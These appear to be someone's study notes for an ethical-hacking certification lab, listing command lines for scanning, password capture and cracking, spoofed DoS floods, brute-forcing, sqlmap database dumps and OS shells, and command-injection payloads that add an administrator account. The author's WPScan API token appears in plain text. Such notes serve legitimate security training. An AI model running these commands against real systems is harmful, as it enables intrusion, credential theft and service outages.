Module 03: Scanning Networks

Lab1-Task1: Host discovery

• nmap -sn -PR [IP]
  • -sn: Disable port scan
  • -PR: ARP ping scan
• nmap -sn -PU [IP]
  • -PU: UDP ping scan
• nmap -sn -PE [IP or IP Range]
  • -PE: ICMP ECHO ping scan
• nmap -sn -PP [IP]
  • -PP: ICMP timestamp ping scan
• nmap -sn -PM [IP]
  • -PM: ICMP address mask ping scan
• nmap -sn -PS [IP]
  • -PS: TCP SYN Ping scan
• nmap -sn -PA [IP]
  • -PA: TCP ACK Ping scan
• nmap -sn -PO [IP]
  • -PO: IP Protocol Ping scan

Lab2-Task3: Port and Service Discovery

• nmap -sT -v [IP]
  • -sT: TCP connect/full open scan
  • -v: Verbose output
• nmap -sS -v [IP]
  • -sS: Stealth scan/TCP hall-open scan
• nmap -sX -v [IP]
  • -sX: Xmax scan
• nmap -sM -v [IP]
  • -sM: TCP Maimon scan
• nmap -sA -v [IP]
  • -sA: ACK flag probe scan
• nmap -sU -v [IP]
  • -sU: UDP scan
• nmap -sI -v [IP]
  • -sI: IDLE/IPID Header scan
• nmap -sY -v [IP]
  • -sY: SCTP INIT Scan
• nmap -sZ -v [IP]
  • -sZ: SCTP COOKIE ECHO Scan
• nmap -sV -v [IP]
  • -sV: Detect service versions
• nmap -A -v [IP]
  • -A: Aggressive scan

Lab3-Task2: OS Discovery

• nmap -A -v [IP]
  • -A: Aggressive scan
• nmap -O -v [IP]
  • -O: OS discovery
• nmap –script smb-os-discovery.nse [IP]
  • -–script: Specify the customized script
  • smb-os-discovery.nse: Determine the OS, computer name, domain, workgroup, and current time over the SMB protocol (Port 445 or 139)

Module 04: Enumeration

Lab2-Task1: Enumerate SNMP using snmp-check

• nmap -sU -p 161 [IP]
• snmp-check [IP]

Addition

• nbtstat -a [IP] (Windows)
• nbtstat -c

Module 06: System Hacking

Lab1-Task1: Perform Active Online Attack to Crack the System's Password using Responder

• Linux:
  • cd
  • cd Responder
  • chmox +x ./Responder.py
  • sudo ./Responder.py -I eth0
  • passwd: ****
• Windows
  • run
  • \CEH-Tools
• Linux:
  • Home/Responder/logs/SMB-NTMLv2-SSP-[IP].txt
  • sudo snap install john-the-ripper
  • passwd: ****
  • sudo john /home/ubuntu/Responder/logs/SMB-NTLMv2-SSP-10.10.10.10.txt

Lab3-Task6: Covert Channels using Covert_TCP

• Attacker:
  • cd Desktop
  • mkdir Send
  • cd Send
  • echo "Secret"->message.txt
  • Place->Network
  • Ctrl+L
  • smb://[IP]
  • Account & Password
  • copy and paste covert_tcp.c
  • cc -o covert_tcp covert_tcp.c
• Target:
  • tcpdump -nvvx port 8888 -I lo
  • cd Desktop
  • mkdir Receive
  • cd Receive
  • File->Ctrl+L
  • smb://[IP]
  • copy and paste covert_tcp.c
  • cc -o covert_tcp covert_tcp.c
  • ./covert_tcp -dest 10.10.10.9 -source 10.10.10.13 -source_port 9999 -dest_port 8888 -server -file /home/ubuntu/Desktop/Receive/receive.txt
  • Tcpdump captures no packets
• Attacker
  • ./covert_tcp -dest 10.10.10.9 -source 10.10.10.13 -source_port 8888 -dest_port 9999 -file /home/attacker/Desktop/send/message.txt
  • Wireshark (message string being send in individual packet)

Module 08: Sniffing

Lab2-Task1: Password Sniffing using Wireshark

• Attacker
  • Wireshark
• Target
  • www.moviescope.com
  • Login
• Attacker
  • Stop capture
  • File->Save as
  • Filter: http.request.method==POST
  • RDP log in Target
  • service
  • start Remote Packet Capture Protocol v.0 (experimental)
  • Log off Target
  • Wireshark->Capture options->Manage Interface->Remote Interfaces
  • Add a remote host and its interface
  • Fill info
• Target
  • Log in
  • Browse website and log in
• Attacker
  • Get packets

Module 10: Denial-of-Service

Lab1-Task2: Perform a DoS Attack on a Target Host using hping3

• Target:
  • Wireshark->Ethernet
• Attacker
  • hping3 -S [Target IP] -a [Spoofable IP] -p 22 -flood
    • -S: Set the SYN flag
    • -a: Spoof the IP address
    • -p: Specify the destination port
    • --flood: Send a huge number of packets
• Target
  • Check wireshark
• Attacker (Perform PoD)
  • hping3 -d 65538 -S -p 21 –flood [Target IP]
    • -d: Specify data size
    • -S: Set the SYN flag
• Attacker (Perform UDP application layer flood attack)
  • nmap -p 139 10.10.10.19 (check service)
  • hping3 -2 -p 139 –flood [IP]
    • -2: Specify UDP mode
• Other UDP-based applications and their ports
  • CharGen UDP Port 19
  • SNMPv2 UDP Port 161
  • QOTD UDP Port 17
  • RPC UDP Port 135
  • SSDP UDP Port 1900
  • CLDAP UDP Port 389
  • TFTP UDP Port 69
  • NetBIOS UDP Port 137,138,139
  • NTP UDP Port 123
  • Quake Network Protocol UDP Port 26000
  • VoIP UDP Port 5060

Module 13: Hacking Web Servers

Lab2-Task1: Crack FTP Credentials using a Dictionary Attack

• nmap -p 21 [IP]
• hydra -L usernames.txt -P passwords.txt ftp://10.10.10.10

Module 14: Hacking Web Applications

Lab2-Task1: Perform a Brute-force Attack using Burp Suite

• Set proxy for browser: 127.0.0.1:8080
• Burpsuite
• Type random credentials
• capture the request, right click->send to Intrucder
• Intruder->Positions
• Clear $
• Attack type: Cluster bomb
• select account and password value, Add $
• Payloads: Load wordlist file for set 1 and set 2
• start attack
• filter status==302
• open the raw, get the credentials
• recover proxy settings

Lab2-Task3: Exploit Parameter Tampering and XSS Vulnerabilities in Web Applications

• Log in a website, change the parameter value (id )in the URL
• Conduct a XSS attack: Submit script codes via text area

Lab2-Task5: Enumerate and Hack a Web Application using WPScan and Metasploit

• wpscan --api-token hWt9qrMZFm7MKprTWcjdasowoQZ7yMccyPg8lsb8ads --url http://10.10.10.16:8080/CEH --plugins-detection aggressive --enumerate u
  • --enumerate u: Specify the enumeration of users
  • API Token: Register at https://wpscan.com/register
  • Mine: hWt9qrMZFm7MKprTWcjdasowoQZ7yMccyPg8lsb8ads
• service postgresql start
• msfconsole
• use auxiliary/scanner/http/wordpress_login_enum
• show options
• set PASS_FILE password.txt
• set RHOST 10.10.10.16
• set RPORT 8080
• set TARGETURI http://10.10.10.16:8080/CEH
• set USERNAME admin
• run
• Find the credential

Lab2-Task6: Exploit a Remote Command Execution Vulnerability to Compromise a Target Web Server (DVWA low level security)

• If found command injection vulnerability in an input textfield
• | hostname
• | whoami
• | tasklist| Taskkill /PID /F
  • /PID: Process ID value od the process
  • /F: Forcefully terminate the process
• | dir C:\
• | net user
• | net user user001 /Add
• | net user user001
• | net localgroup Administrators user001 /Add
• Use created account user001 to log in remotely

Module 15: SQL Injection

Lab1-Task2: Perform an SQL Injection Attack Against MSSQL to Extract Databases using sqlmap

• Login a website
• Inspect element
• Dev tools->Console: document.cookie
• sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="value" –dbs
  • -u: Specify the target URL
  • --cookie: Specify the HTTP cookie header value
  • --dbs: Enumerate DBMS databases
• Get a list of databases
• Select a database to extract its tables
• sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="value" -D moviescope –tables
  • -D: Specify the DBMS database to enumerate
  • --tables: Enumerate DBMS database tables
• Get a list of tables
• Select a column
• sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="value" -D moviescope –T User_Login --dump
• Get table data of this column
• sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="value" --os-shell
• Get the OS Shell
• TASKLIST

Module 17: Hacking Mobile Platforms

Lab 1-Task 4: Exploit the Android Platform through ADB using PhoneSploit

• cd Phonesploit
• python3 -m pip install colorama
• python3 phonesploit.py
• 3
• 10.10.10.14
• 4
• pwd
• cd sdcard
• cd Download

Module 20: Cryptography

Lab1-Task2: Calculate MD5 Hashes using MD5 Calculator

• Nothing special

Lab4-Task1: Perform Disk Encryption using VeraCrypt

• Click VeraCrypt
• Create Volumn
• Create an encrypted file container
• Specify a path and file name
• Set password
• Select NAT
• Move the mouse randomly for some seconds, and click Format
• Exit
• Select a drive, select file, open, mount
• Input password
• Dismount
• Exit

Module Appendix: Covered Tools

• Nmap
  • Multiple Labs
• Hydra
  • Module 13: Lab2-Task1
• Sqlmap
  • Module 15: Lab1-Task2
• WPScan
  • Module 14: Lab2-Task5
  • wpscan –-url http://10.10.10.10 -t 50 -U admin -P rockyou.txt
• Nikto
  • https://zhuanlan.zhihu.com/p/124246499
• John
  • Module 06: Lab1-Task1
• Hashcat
  • Crack MD5 passwords with a wordlist:
  • hashcat hash.txt -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
  • Crack MD5 passwords in a certain format:
  • hashcat -m 0 -a 3 ./hash.txt 'SKY-HQNT-?d?d?d?d'
  • https://xz.aliyun.com/t/4008
  • https://tools.kali.org/password-attacks/hashcat
• Metasploit
  • Module 14: Lab2-Task5
• Responder LLMNR
  • Module 06: Lab1-Task1
• Wireshark or Tcpdump
  • Multiple Labs
• Steghide
  • Hide
  • steghide embed -cf [img file] -ef [file to be hide]
  • steghide embed -cf 1.jpg -ef 1.txt
  • Enter password or skip
  • Extract
  • steghide info 1.jpg
  • steghide extract -sf 1.jpg
  • Enter password if it does exist
• OpenStego
  • https://www.openstego.com/
• QuickStego
  • Module 06: Lab0-Task1
• Dirb (Web content scanner)
  • https://medium.com/tech-zoom/dirb-a-web-content-scanner-bc9cba624c86
  • https://blog.csdn.net/weixin_44912169/article/details/105655195
• Searchsploit (Exploit-DB)
  • https://www.hackingarticles.in/comprehensive-guide-on-searchsploit/
• Crunch (wordlist generator)
  • https://www.cnblogs.com/wpjamer/p/9913380.html
• Cewl (URL spider)
  • https://www.freebuf.com/articles/network/190128.html
• Veracrypt
  • Module 20: Lab4-Task1
• Hashcalc
  • Module 20: Lab1-Task1 (Nothing special)
• Rainbow Crack
  • Module 06: Lab0-Task0
• Windows SMB
  • smbclient -L [IP]
  • smbclient \ip\sharename
  • nmap -p 445 -sV –script smb-enum-services [IP]
• **Run Nmap at the beginning **
  • nmap -sn -PR 192.168.1.1/24 -oN ip.txt
  • nmap -A -T4 -vv -iL ip.txt -oN nmap.txt
  • nmap -sU -sV -A -T4 -v -oN udp.txt
• Snow
• ./snow -C -p "magic" output.txt
• snow -C -m "Secret Text Goes Here!" -p "magic" readme.txt readme2.txt • -m → Set your message • -p → Set your password
• Rainbowcrack
  • Use Winrtgen to generate a rainbow table
  • Launch RainbowCrack
  • File->Load NTLM Hashes from PWDUMP File
  • Rainbow Table->Search Rainbow Table
  • Use the generated rainbow table
  • RainbowCrack automatically starts to crack the hashes QuickStego
  • Launch QuickStego
  • Open Image, and select target .jpg file
  • Open Text, and select a txt file
  • Hide text, save image file
  • Re-launch, Open Image
  • Select stego file
  • Hidden text shows up

Useful Links

• https://book.thegurusec.com/certifications/certified-ethical-hacker-practical/steganography
• https://github.com/CyberSecurityUP/Guide-CEH-Practical-Master